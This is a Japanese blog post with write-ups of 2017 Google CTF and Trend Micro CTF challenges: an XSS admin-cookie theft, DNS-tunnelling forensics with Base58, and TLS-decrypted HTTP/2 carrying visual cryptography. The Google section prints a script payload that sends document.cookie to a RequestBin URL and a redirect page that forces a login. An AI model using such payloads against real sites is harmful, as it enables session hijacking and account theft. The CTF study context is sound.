Google CTFとTrendmicro CTF
2週間連続でCTFに参加しましたので、まとめて記事にします。
- Google CTF : 2017/5/17, 00:00 UTC — 2017/6/18, 23:59 UTC
- Trend Micro CTF : 6月 2017/6/24, 04:00 UTC — 2017/6/25, 04:00 UTC
それぞれ問題の傾向に違いはありますが、全体的にGoogle CTFの方が難易度は高かったと思います。 バイナリの知識はもちろんですが、構築やサーバよりの技術、それからGoogleの技術に関する知識も多少必要になります。 対してTrendmicroのCTFは今回はネットワーク系の問題が多く、セキュリティを専門にやっている人がとっつきやすい問題が多かったように思います。
以下簡単な Write Up です。
Google CTF
Joe
解けそうで解けなかった問題です。 Web系の一番簡単な問題ですが、CTF開始時にはバグがあったとかで引っ込められ、1日経ったくらいに再出という形でした。
サイトにアクセスすると、パーソナルアシスタントがいるので、色々話をしてみようというもの。 色々クリック可能な部分があるので、とりあえず遊んでみます。
問題を解くのに重要な機能としては以下
- what is your name ⇒アシスタントの名前を確認できる
- let me rename you ⇒アシスタントの名前を変更できる
- Log in ⇒Googleアカウントを使ってログインできる
- report bug ⇒バグレポート(サーバがAdminで送ったURLにアクセスする)
- the admin page ⇒管理者用ページ(入れない)
ちなみに、サーバでは多分送信した文字列に単語が含まれているかで判断していると思われます。 「name」と「report」とかだけで機能が使えます。
管理者ページに入るにはAdminのCookieが必要ということでAdminのCookieを取得できればフラグがゲットできると予想できます。 で、Cookieですからまあ、XSSかなと想像します。
色々やってログインした後、アシスタントの挨拶の名前部分にXSSの脆弱性を発見します。
アシスタントの名前を＜s＞タグで囲ってやって、再読み込みするとアシスタントの名前部分が取り消し線で消されています。
スクリプトタグも実行できます。
アシスタントの名前はログインしているユーザによります。ここまでくると、攻撃の流れが読めてきます。
- ユーザAでログイン
- アシスタントの名前部分でXSSを仕掛ける
- レポート機能でAdminにユーザAでログインさせる
- クッキーゲット
やってみます。ログイン時のURLを確認します。
アシスタントの名前を以下のように変更します。
<script>window.location='https://requestb.in/********?'+document.cookie;</script>
アクセスさせるサイトにはRequestBinを利用しました。 今回のCTFで初めて使ったのですが、結構便利です。
RequestBin — Collect, inspect and debug HTTP requests and webhooks
AdminにアクセスさせるURLを調べます。
「login?」でトークンを渡している部分があるので、ここにアクセスさせます。 で、ログインさせるURLにアクセス……が、URLが長すぎると言われました。
ちなみに私はここで色々試しているところで時間切れになりました。(そもそもXSSの脆弱性を見つけたのがCTF終了1時間前くらい……)
正解は別のサイトを経由させて、このURLにアクセスさせる、ということでした。
自分のVPS上のDockerでWebサーバを立てて、以下のファイルを置きます。
<script type="text/javascript">window.location='https://joe.web.ctfcompetition.com/login?id_token=eyJhbGciOiJSU...(省略)';</script>
で、バグレポートでここにアクセスさせます(サーバのIPを伏せてます)。
これでAdminは、 「私のサーバ」⇒「アシスタントのサイトに私のアカウントでログイン」⇒XSSによりRequestBinにAdminがアクセス という流れになります。
RequestBinのアクセス履歴。
フラグをゲット。
Trendmicro CTF
Forensic 100
問題はパケットです。ネットワークフォレンジックですね。 内容はDNSリクエスト。明らかに怪しい名前解決のクエリがあります。
これを見た瞬間にDNSトンネリングを行うマルウェアのC2通信という想定だろうと思いました。
こういうマルウェアの類だろうと。
OilRig攻撃活動: サウジアラビアの組織への攻撃でHelminthバックドアを配信 - Palo Alto Networks
標的型攻撃で使われたマルウェアを解析して C2 サーバを作った。そのマルウェアは DNSトンネリングを行う珍しいものだった。 -
ということで、DNSのクエリを取り出します。
tshark -r output.pcap -T fields -e dns.resp.name | grep co.jp | awk -F . '{print $1}'
tsharkを使い慣れていないので調べながら…。
20文字の列が沢山と最後に切れ端みたいなの。なんとなく、これ全体で1つの意味を持つのだと想像できます。
で、デコードですが、Base64ではない、そう簡単ではないかと思いつつも、こういう系の問題は大体Base～だろうとあたりをつけます。Base16やBase32にしては文字の種類が多いとか思いつつ、「Base5」までGoogleで入れたらBase58がサジェストされました。
Bitcoinなんかで使われているようですね。
オンラインのデコーダを探してぶち込んで終わり。
Base58 Decode Text - Base58 String Decoder - Online - Browserling Web Developer Tools
Misc 100
壊れて読み取れないパケットの解析。バイナリエディタで見たら後半の方でFTPでなんかの鍵をやり取りしているので、それを使って通信を復号するんだろうなーとか思いつつ放置していました。
同じチームの人がパケットをWiresharkなどで読み取れるように修復してくれたのですが、それだけではフラグを取得できていないようだったので、自分でもやってみました
WiresharkでSSL通信を復号。FTPで送っている鍵はNSS Key Log Format( NSS Key Log Format - Mozilla | MDN )とかいうやつ。
HTTP2でなんかやってる。HTTP2だとヘッダなんかも圧縮されて読めないんですね。
Wiresharkが解析してくれた部分を追っていくと、なんかのサイトにアクセスしている。アクセス先はもう消えている。
オブジェクトをWiresharkからエクスポートできないので、通信をバイナリとしてそのままダンプ、画像はForemostで切り出し、他はgzipで圧縮されているので、とりあえず7zipで開いたら普通に取り出せた(7zip便利)。
ちなみにサイトのパーツは以下の通り。
- / (index.html)
- /main.css
- /images/beer-2288121__340.jpg
- /images/blueberries-2278921__340.jpg
取り出してサイトを再現してみる。サイトの内容は読めない(ラテン語？) 画像はGoogle画像検索すると色々出てくるので、多分フリー素材。
main.cssにはBase64で埋め込まれた画像があり、index.htmlではそれらを上半分と下半分に切り分けた2枚の画像が貼り付けられています。また、ソースの中に「HINT: visual cryptgraphy」とあります。
で、これらを重ね合わせればいいんじゃね、ってことで、Base64から元画像を復元し、Gimpで重ねると答えが出てきました。
以上です。久しぶりに問題が解けて嬉しかったです。今回参加したものは割と実践に近く、色々と勉強にもなりました。
後、途中で放り出した問題も方向性はあっていたので、復習しておきたいです。
CTFは自分のレベルにあったものをやるべきだと改めて感じました。
